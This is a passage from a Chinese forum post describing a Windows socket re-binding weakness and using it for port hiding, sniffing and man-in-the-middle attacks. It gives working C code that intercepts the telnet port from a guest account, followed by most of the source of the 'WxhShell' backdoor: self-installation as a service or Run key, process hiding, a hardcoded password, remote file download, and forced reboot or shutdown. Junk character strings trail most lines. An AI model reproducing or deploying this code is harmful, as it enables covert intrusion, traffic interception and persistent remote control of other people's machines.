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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ll 6]W~[ZC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (X0`1s  
$(Z]TS$M&  
  saddr.sin_family = AF_INET; |;X?">7NW  
cA2^5'$$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s0_-1VU  
ab8oMi`z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m*Q[lr=  
Q@ykQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L?AM&w-cg9  
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  这意味着什么?意味着可以进行如下的攻击: Ty g$`\#   
/h1dm,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8Pl+yiB/o`  
w++B-_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pjaiAe!k  
:<'i-Ur8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HTR "mQ  
x e"4u JO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f)p>nW?Z  
c13vEn!c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C.b,]7i  
 Dlqn~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tjBh$)  
|iLx $P6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  muK'h`  
BnKP7e  
  #include pCB 5wB  
  #include :w?:WH?2L  
  #include 5bu[}mJ  
  #include    ZX~>uf\n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vB&F_"/X2  
  int main() > C*?17\  
  { _"R3N  
  WORD wVersionRequested; J3]qg.B%z  
  DWORD ret; Td["l!-fe  
  WSADATA wsaData; +1E?He:iQ  
  BOOL val; $gj+v+%N  
  SOCKADDR_IN saddr; uzzWZ9Tv  
  SOCKADDR_IN scaddr; yv6Zo0s<J  
  int err; mq|A8>g  
  SOCKET s; BK`Q)[  
  SOCKET sc; U.zRIhA ]  
  int caddsize; _mIa8K;  
  HANDLE mt; Uxj<x`<1x  
  DWORD tid;   !mpMa]G3  
  wVersionRequested = MAKEWORD( 2, 2 ); bQ|#_/?  
  err = WSAStartup( wVersionRequested, &wsaData ); M~d+HE   
  if ( err != 0 ) { X+?Il)Bv  
  printf("error!WSAStartup failed!\n"); knNhN=hG+  
  return -1; T:w2  
  } L@gQ L  
  saddr.sin_family = AF_INET; 35]j;8N:  
   w~cq% %  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w /Bn2bD  
Cg]3(3   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m11"i=S"  
  saddr.sin_port = htons(23); k"3Z@Px:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mMD$X[:  
  { <wd4^Vr!2  
  printf("error!socket failed!\n"); m2-fi*Mgg  
  return -1; K4h-4Qbn  
  } r?Zy-yQ  
  val = TRUE; C{d 8~6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `g4Ekp'Rp[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pQ[o3p!&9  
  { gLXvw]  
  printf("error!setsockopt failed!\n"); !9e\O5PmO  
  return -1; '0])7jq  
  } LP0;n\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6.`}&E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !R] CmK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <ZHY3  
lzr>WbM{{p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :$GL.n-?  
  { m-Z'K_oQ  
  ret=GetLastError(); c1)BGy li  
  printf("error!bind failed!\n"); OTNZ!U/)j  
  return -1; 9" }^SI8  
  } Z,N7nMJf  
  listen(s,2); LoV*YSDAY  
  while(1) ,\m;DR1  
  { #um1?V  
  caddsize = sizeof(scaddr); /q*Qx )y+1  
  //接受连接请求 Yq)YS]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m&8U4uHN  
  if(sc!=INVALID_SOCKET) [#,X$O>  
  { K 8yyxJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); + aXk^+~j  
  if(mt==NULL) Hd=D#u=A4{  
  { @2%VU#!m  
  printf("Thread Creat Failed!\n"); :Z*02JwK  
  break; "S{6LWkD  
  } H(5ui`'s  
  } ~q#[5l(r8  
  CloseHandle(mt); kw}ISXz v  
  } 9Ww=hfb5UW  
  closesocket(s); Gg3?2h"d  
  WSACleanup(); ~' Qpf 8)  
  return 0; a\[fC=]r:  
  }   mNBpb}  
  DWORD WINAPI ClientThread(LPVOID lpParam) x jP" 'yU  
  { "$,}|T?Y`  
  SOCKET ss = (SOCKET)lpParam; NBbY## w0  
  SOCKET sc; @tjZvRtZ  
  unsigned char buf[4096]; 2o s6c te  
  SOCKADDR_IN saddr; )z*$`?)k  
  long num; 7Y @=x#  
  DWORD val; 9rf|r 3  
  DWORD ret; WW8L~4Zy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]'  "^M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8^~ZNU-~v  
  saddr.sin_family = AF_INET; A Eyr_!G,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 33v%e  
  saddr.sin_port = htons(23); F|n$0vQ*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x`=5l`  
  { $U"P+  
  printf("error!socket failed!\n"); 8G[Y9A(bmP  
  return -1; O+8ApicjTc  
  } 8^f[-^%  
  val = 100; 0t:|l@zB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ie`SWg*WL  
  { &:cTo(C'  
  ret = GetLastError(); O7<V@GL+  
  return -1; C Sk  
  } >{LJ#Dc6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m|?" k38  
  { YRM6\S)py  
  ret = GetLastError(); g8iB;%6  
  return -1; ^v'g~+@o  
  } aD2CDu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BB73' W8y  
  { CDTk  
  printf("error!socket connect failed!\n"); zm)CfEF 8  
  closesocket(sc); ^) b7m  
  closesocket(ss); +G=C~X  
  return -1; 8L9S^ '  
  } 2sd=G'7!  
  while(1) b09#+CH?  
  { RAx]Sp Q-S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r^o}Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \Dsl7 s=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i]^*J1a  
  num = recv(ss,buf,4096,0); in;+d~?  
  if(num>0) r<f-v_bxF  
  send(sc,buf,num,0); ~E:/oV:4 >  
  else if(num==0) i7w}`vs  
  break; 3bI|X!j  
  num = recv(sc,buf,4096,0);  k9VQ6A  
  if(num>0) 0wE8Gm G  
  send(ss,buf,num,0); cdU >iB,  
  else if(num==0) N(({2'Rr  
  break; r{:la56Xd  
  } PRf\6   
  closesocket(ss); A&_i]o  
  closesocket(sc); 7zk m  
  return 0 ; K?9H.#(  
  } aid)q&AcQ  
G}hkr  
!E>3N:  
========================================================== jQwg)E+o;  
v'Py[[R  
下边附上一个代码,,WXhSHELL ^MWW,`  
;uo|4?E:\(  
========================================================== $}h_EI6hS  
Y8CYkJTAD-  
#include "stdafx.h" O6/=/-?N=c  
8'_ ]gfF  
#include <stdio.h> VTX'f2\  
#include <string.h> ,vY I O  
#include <windows.h> BxN#Nk~  
#include <winsock2.h>  S~5 =1b  
#include <winsvc.h> &WWO13\qd  
#include <urlmon.h> 9{J8q  
~[X:twidkL  
#pragma comment (lib, "Ws2_32.lib") ~(doy@0M  
#pragma comment (lib, "urlmon.lib") "e};?|y  
vR.6^q  
#define MAX_USER   100 // 最大客户端连接数 6I.+c  
#define BUF_SOCK   200 // sock buffer '~6CGqU*  
#define KEY_BUFF   255 // 输入 buffer ojs/yjvx  
E":":AC#  
#define REBOOT     0   // 重启 k}a!lI:  
#define SHUTDOWN   1   // 关机 PT*@#:MA  
+z/73s0~  
#define DEF_PORT   5000 // 监听端口 [(^''*7r+T  
HBkQ`T  
#define REG_LEN     16   // 注册表键长度 E6IL,Iq9  
#define SVC_LEN     80   // NT服务名长度 WAXrA$:3J  
21J82M  
// 从dll定义API !m.')\4<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2!& ;ZcT,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K0!#l Br  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $,@ +Ua  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =|t1eSzc  
JU`'?b  
// wxhshell配置信息 )t 7HioQ  
struct WSCFG { I Y-5/  
  int ws_port;         // 监听端口 # 2t\>7]  
  char ws_passstr[REG_LEN]; // 口令 V\lF:3C  
  int ws_autoins;       // 安装标记, 1=yes 0=no sBG(CpQ  
  char ws_regname[REG_LEN]; // 注册表键名 gYIYA"xN`  
  char ws_svcname[REG_LEN]; // 服务名 oM7-1O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,T>2zSk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (HgdmN%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K1:)J.ca_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yy:sZJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" = |zyi|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 us *l+Jw,m  
H_$f v_  
}; 7.'j~hJL  
*m Tc4&*  
// default Wxhshell configuration R}mWHB_h"  
struct WSCFG wscfg={DEF_PORT, .TU15AAc  
    "xuhuanlingzhe", @?NLME  
    1, !LSWg:Ev+  
    "Wxhshell", #z5?Y2t7~^  
    "Wxhshell", _5 -"<  
            "WxhShell Service", e/~<\  
    "Wrsky Windows CmdShell Service", wA+4:CF @  
    "Please Input Your Password: ", VFp)`+8  
  1,  ^*>no=A  
  "http://www.wrsky.com/wxhshell.exe", [9Hm][|Ph  
  "Wxhshell.exe" fC:\Gh5  
    }; xo3)ds X  
X7!A(q+h  
// 消息定义模块 5 `mVe0uI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i; uM!d}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Awzm )Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;{u#~d}  
char *msg_ws_ext="\n\rExit."; ( I~XwP&  
char *msg_ws_end="\n\rQuit."; )u:8Pv  
char *msg_ws_boot="\n\rReboot..."; 6q7Y`%j  
char *msg_ws_poff="\n\rShutdown..."; l@9:V hU(  
char *msg_ws_down="\n\rSave to "; _E-GHj>k z  
wY)GX  
char *msg_ws_err="\n\rErr!"; nr6[rq  
char *msg_ws_ok="\n\rOK!"; -2XIF}.Hu  
+n]Knfi  
char ExeFile[MAX_PATH]; u9%:2$[  
int nUser = 0; E 4(muhY  
HANDLE handles[MAX_USER]; O$ oN1  
int OsIsNt; ;L{y3CWT  
$9b6,Y_-  
SERVICE_STATUS       serviceStatus; Yhdt8[ 2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :njUaMFoMA  
%[;KO&Ga  
// 函数声明 gKEvgXOj  
int Install(void); V3nv5/6  
int Uninstall(void); 7[,f;zG  
int DownloadFile(char *sURL, SOCKET wsh); unB "dE  
int Boot(int flag); XX+rf  
void HideProc(void); X*;p;N  
int GetOsVer(void); 1%{(?uz9  
int Wxhshell(SOCKET wsl); F.w#AV  
void TalkWithClient(void *cs); ,*#M%Pv1t  
int CmdShell(SOCKET sock); 7~g0{W>Zm  
int StartFromService(void); 8XE0 p7  
int StartWxhshell(LPSTR lpCmdLine); $a]dxRkz  
/FXfu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r F - yD1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e6/} M3B  
3<SC`6'?  
// 数据结构和表定义 m)2U-3*iX  
SERVICE_TABLE_ENTRY DispatchTable[] = -M9 4 F  
{ 4 df1)<}U-  
{wscfg.ws_svcname, NTServiceMain}, 9]9(o  
{NULL, NULL} ~nlY8B(  
}; &wvv5Vd  
AY]nc# zz  
// 自我安装 "R]K!GUU  
int Install(void) `hhG^ O_  
{ 2Ki/K(  
  char svExeFile[MAX_PATH]; #.aLx$"a  
  HKEY key; 3Pq)RD|hn  
  strcpy(svExeFile,ExeFile); a&PZ7!PZv  
:H 7 "W<  
// 如果是win9x系统,修改注册表设为自启动 "d\8OOU  
if(!OsIsNt) { (/BkwbJyE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ke!O^zP92  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D~,R @7  
  RegCloseKey(key); T9.gs}B0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n*uZ=M_/Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Melc -[  
  RegCloseKey(key); suSIz 7:  
  return 0; vUNE! j  
    } ;RYKqUE  
  } Fx\Re]~n  
} x]M1UBnMN  
else { }9dgm[C[b  
DKH9 O  
// 如果是NT以上系统,安装为系统服务 w[_Uv4M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _69\#YvCG  
if (schSCManager!=0) i vk|-C'\  
{ M>j)6?n`_  
  SC_HANDLE schService = CreateService q fe#kF9  
  ( t$2{U  
  schSCManager, R&p53n  
  wscfg.ws_svcname, XDQ1gg`  
  wscfg.ws_svcdisp, YKk%;U*  
  SERVICE_ALL_ACCESS, _XtY/7n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <k1gc,*  
  SERVICE_AUTO_START, 4 n( f/  
  SERVICE_ERROR_NORMAL, W525:h52{  
  svExeFile, T@XiG:b7  
  NULL, D%btlw ?{  
  NULL, wOP}SMn  
  NULL, l@ K<p  
  NULL, x@)u:0  
  NULL Ab)7hCUW  
  ); Z5K,y19/~  
  if (schService!=0) P{ o/F  
  { +aap/sYp  
  CloseServiceHandle(schService); 5kz`_\ &  
  CloseServiceHandle(schSCManager); 4RNzh``u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }"v "^5  
  strcat(svExeFile,wscfg.ws_svcname); >XN&Q VE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j3U8@tuG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x$*OglaS  
  RegCloseKey(key); aMWNZv  
  return 0; %qhaVM$]  
    } rjzRH  
  } *,u{~(thR  
  CloseServiceHandle(schSCManager); n_j[hA  
} wim}}^H  
} 8?!Vr1x  
c`cPGEv  
return 1; P? n`n!qZ  
} $hapSrS  
(H7q[UG|  
// 自我卸载 Vow+,,oh  
int Uninstall(void) HV?@MBM  
{ h";sQ'us  
  HKEY key; 5Z'pMkn3  
tee%E=P  
if(!OsIsNt) { H^~!t{\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i&#c+iTH  
  RegDeleteValue(key,wscfg.ws_regname); bV ym  
  RegCloseKey(key); ;nbvn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L`BLkDm  
  RegDeleteValue(key,wscfg.ws_regname); 6IA~bkc}  
  RegCloseKey(key); OB:G5B`  
  return 0; 0FBifK  
  } "A7tb39*  
} A'T! og|5  
} <\u%ZB  
else { QQcJUOxT9  
wS GUNP9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zx6BK=4G  
if (schSCManager!=0) B(hNBq7  
{ .+.Pc_fv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G9jtL$}E<  
  if (schService!=0) ]4PG[9J@  
  { 0T*jv! q>  
  if(DeleteService(schService)!=0) { /$E1!9J  
  CloseServiceHandle(schService); g"xZ{k_3  
  CloseServiceHandle(schSCManager); ev`p!p  
  return 0; Y (Q8P{@(  
  } YAD9'h]d\  
  CloseServiceHandle(schService); 3JwmLGj}  
  } m T;z `*  
  CloseServiceHandle(schSCManager); :gmVX}  
} y9 "!ys  
} zPn8>J<.0Q  
NW$Z}?I  
return 1; &Ef'5  
} \|kU{d0  
ry:tL0;;e#  
// 从指定url下载文件 2ma.zI@^u9  
int DownloadFile(char *sURL, SOCKET wsh) /dIiFr"e}G  
{ "qF8'58  
  HRESULT hr; GCrMrZ6  
char seps[]= "/"; aDs[\ '  
char *token; >PTq5pk  
char *file; C]}0h!_V  
char myURL[MAX_PATH]; ]0o78(/w2  
char myFILE[MAX_PATH]; T ^uBMDYe  
*<KY^;  
strcpy(myURL,sURL); Li}yK[\]  
  token=strtok(myURL,seps); nG2RBeJV  
  while(token!=NULL) *%8dW  
  { FBe 1f1 sm  
    file=token; v+Hu=RZE  
  token=strtok(NULL,seps); r*$KF!-dg  
  } %gN8-~$ 1  
mR@iGl\\  
GetCurrentDirectory(MAX_PATH,myFILE); zk?lNs  
strcat(myFILE, "\\"); QJxcH$  
strcat(myFILE, file); ~*&_zPTN  
  send(wsh,myFILE,strlen(myFILE),0); :wMZ&xERDZ  
send(wsh,"...",3,0); Upf1*$p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3N?uY2  
  if(hr==S_OK) #+XKfumLk  
return 0; f"/NY6  
else w$1.h'2  
return 1; 8YCtU9D  
7:]I@Gc'  
} u4%-e )$X  
-)w/nq  
// 系统电源模块 FJ/kumq  
int Boot(int flag) rLp0VKPe  
{ B4|3@X0(  
  HANDLE hToken; CpA=DnZ  
  TOKEN_PRIVILEGES tkp; ~s+\Y/@A  
).LJY<A  
  if(OsIsNt) { h.PY$W<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dP )YPy_`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [mX\Q`)QP  
    tkp.PrivilegeCount = 1; h|wy vYKZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {jbOcx$t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fq~de%y  
if(flag==REBOOT) { {2-w<t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $H?v  
  return 0; TJ#<wIiX  
} e<q;` H  
else { @A g=2\9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /|Zk$q.\  
  return 0; H`kfI"u8  
} M>-x\[n+  
  } yhZ2-*pTg  
  else { hD sFsG  
if(flag==REBOOT) { "zfy_h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w<>B4m\  
  return 0; Xq9%{'9  
} fy7]I?vm@  
else { od$Cm5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I/t2c=f  
  return 0; s+,JwV?b  
} .F |yxj;I7  
} L ej3? k  
sOv:/'  
return 1; %<P&"[F]v@  
} ^dRB(E}|)  
~r+;i,,X  
// win9x进程隐藏模块 kz]qk15w  
void HideProc(void) %-> X$,Q :  
{  T=9+  
iWO16=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k]w;(<  
  if ( hKernel != NULL ) 8H;yrNL  
  { tK1P7pbC8r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j%0D:jOY]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V4iN2  
    FreeLibrary(hKernel); 0jG8Gmh!  
  } Z+JPxe#7  
<$R'y6U :  
return; \vsfY   
} "p0e6Z=  
qo/`9%^E?  
// 获取操作系统版本 iU5M_M$G  
int GetOsVer(void) kect)=T(  
{ 0"LJ{:plz  
  OSVERSIONINFO winfo; 5@6F8:x}V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U%_BgLwy%  
  GetVersionEx(&winfo); WQK ~;GV-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7;5SK:X%dm  
  return 1; Xnpw'<~X  
  else d=yuuS /  
  return 0; 22(7rUkI  
} =HH}E/9z  
s: pmB\  
// 客户端句柄模块 u8 Q`la  
int Wxhshell(SOCKET wsl) M:rE^El  
{ &( aw  
  SOCKET wsh; .7_<0&kW  
  struct sockaddr_in client; 3vepJ) D (  
  DWORD myID; SN' j?-  
D.su^m_1  
  while(nUser<MAX_USER) R0HzNk  
{ )T&ZiHIJ3  
  int nSize=sizeof(client); gd#+N]C_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @T)kqT  
  if(wsh==INVALID_SOCKET) return 1; XOsuRI ?  
LR%]4$ /M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k> SPtiAs  
if(handles[nUser]==0) N"L@  
  closesocket(wsh); Y,n&g45m  
else E9<oA.  
  nUser++; #? u#=]  
  } P-U9FKrt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xw)W6H|  
%OE (?~dq  
  return 0; N3"O#C  
} V q4g#PcG  
3qggdi  
// 关闭 socket %m)vQ\Vtx  
void CloseIt(SOCKET wsh) '(fQtQ%  
{ #\1)Tu%-  
closesocket(wsh); m#|;?z  
nUser--; o+*7Q!  
ExitThread(0); Pg4go10|  
} kT^|%bB[i  
3e,"B S)+  
// 客户端请求句柄 F}MjZZj(U=  
void TalkWithClient(void *cs) 29z$z$l4  
{ _D.4=2@|l8  
<aSjK#  
  SOCKET wsh=(SOCKET)cs; 1K\z amBg  
  char pwd[SVC_LEN]; upi\pXv  
  char cmd[KEY_BUFF]; DXyRNE<G[C  
char chr[1]; XN|[8+#U<@  
int i,j; '8Wu9 phT  
mH6\8I  
  while (nUser < MAX_USER) { x<d2/[(}mT  
o=C:=  
if(wscfg.ws_passstr) { 0Sx$6:-~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qg1tDN`s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r|av|7R  
  //ZeroMemory(pwd,KEY_BUFF); Dqu?mg;L  
      i=0; ;T hn C>U  
  while(i<SVC_LEN) { B5v5D[ o5  
@5}(Y( @  
  // 设置超时 rUn1*KWbE  
  fd_set FdRead; $-AG $1  
  struct timeval TimeOut; ,)?!p_*@:  
  FD_ZERO(&FdRead); b,hRk1  
  FD_SET(wsh,&FdRead); xlIVLv6dO  
  TimeOut.tv_sec=8; dj-/%MU  
  TimeOut.tv_usec=0; T\v~"pMu*0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C :r3z50  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ({$>o]<h  
9w!PA-) L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zoibinm}Eg  
  pwd=chr[0]; OjWg>v\ v  
  if(chr[0]==0xd || chr[0]==0xa) { ?'I-_9u  
  pwd=0; BK]5g[   
  break; FQ_a= v  
  } <P@ "VwUX  
  i++; Kt3T~k  
    } {Ri6975  
2=IZD `{!  
  // 如果是非法用户,关闭 socket s.$:.*k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1$_|h@  
} =C#22xqQ.  
5Sz&j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WU\Bs2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =I8^E\O("  
_J&IL!S2  
while(1) { >c)-o}bd^  
^UmhSxQ##  
  ZeroMemory(cmd,KEY_BUFF); Qa#Em1co  
y/Ui6D  
      // 自动支持客户端 telnet标准   y?'Z'  
  j=0; blx"WVqo  
  while(j<KEY_BUFF) { B,b^_4XX$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c8h71Cr  
  cmd[j]=chr[0]; BN1,R] *;  
  if(chr[0]==0xa || chr[0]==0xd) { +?'a2pUS  
  cmd[j]=0; dnzZ\t>U  
  break; TUN6`/"  
  } O[+\` 63F=  
  j++; vyBx|TR  
    } eWOZC(I*z  
v8U&{pD,  
  // 下载文件 ^XT;n  
  if(strstr(cmd,"http://")) { woUt*G@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NqC}}N\,  
  if(DownloadFile(cmd,wsh)) 8}aSSL]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3^%ft~l  
  else 6 m%/3>q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *#.Ku(C+  
  } \2Yo*jE}  
  else { a|-B#S  
V~7Oa2'#B  
    switch(cmd[0]) { wBCBZs$H  
  ^tL]QE?|  
  // 帮助 3ih:t'N-  
  case '?': { 8;i'dF:)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xf3;:soC  
    break; F;ELsg  
  } Dco3`4pl  
  // 安装 i4<n#]1!t  
  case 'i': { !-Uq#Ea0/  
    if(Install()) H2{&da@D5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zB8J|uG  
    else .Fx-$Yqy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~.E r  
    break; YeI|&FMX  
    } .2 }5Dc,eR  
  // 卸载 ? @- t.N  
  case 'r': { ]Wn=Oc{F  
    if(Uninstall()) 2,rjy|R`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJ^pqb  
    else %'MR;hQsd8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .*Axr\x3  
    break; wKE}BO >  
    } |!cM_&  
  // 显示 wxhshell 所在路径 eC='[W<a.  
  case 'p': { $-uMWJ)l  
    char svExeFile[MAX_PATH]; MtG~ O;?8  
    strcpy(svExeFile,"\n\r"); rT'<6]`  
      strcat(svExeFile,ExeFile); Ubv_ a  
        send(wsh,svExeFile,strlen(svExeFile),0); Zr|\T7w 3  
    break; G(hzW%P  
    } (,['6k<  
  // 重启 b?:SCUI  
  case 'b': {  z:d+RMA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &ER,;^H `6  
    if(Boot(REBOOT)) o(YF`;OhvS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lf+3nN  
    else { 6oLZH6fG  
    closesocket(wsh); Bg}(Sy  
    ExitThread(0); i}kMo@  
    } A}CpyRVCn  
    break; U=N]XwjVK<  
    } L[Y|K%;~  
  // 关机 J';XAB }  
  case 'd': { cJ#%OU3 p  
